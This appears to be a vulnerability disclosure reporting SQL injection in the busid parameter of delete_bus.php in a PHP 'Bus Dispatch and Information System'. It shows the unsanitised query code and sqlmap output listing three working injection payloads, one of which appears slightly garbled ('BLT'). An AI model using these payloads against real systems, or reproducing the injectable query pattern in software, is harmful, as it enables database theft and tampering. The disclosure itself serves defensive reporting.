

Bus Dispatch and Information System in delete_bus has Sql injection vulnerabilities

Bus Dispatch and Information System has Sql injection vulnerabilities. The vulnerability is located in the busid parameter of the delete_bus.php file. The attacker can read and write arbitrarily to the database and obtain sensitive data without logging in the background.

```
admin > delete_bus.php
1  <?php
2
3  include('db/dbcon.php');
4
5  $get_id=$_GET['busid'];
6
7  mysql_query("delete from bus where busid = '$get_id' ")or die(mysql_error());
8  echo "<script>alert('Successfully Delete'); window.location='bus.php'</script>";
9  ?>
```

```
sqlmap identified the following injection point(s) with a total of 393 HTTP(s) requests:
---
Parameter: busid (GET)
  Type: boolean-based blind
  Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause
  Payload: busid=3' RLIKE (SELECT (CASE WHEN (8440=8440) THEN 3 ELSE 0x28 END))-- PpWV

  Type: error-based
  Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)
  Payload: busid=3' AND GTID_SUBSET(CONCAT(0x7176717071, (SELECT (BLT(3474=3474,1))),0x71766a7871),3474)-- tVBf

  Type: time-based blind
  Title: MySQL < 5.0.12 AND time-based blind (BENCHMARK)
  Payload: busid=3' AND 2304=BENCHMARK(5000000, MD5(0x6e6d5567))-- Qodg
---
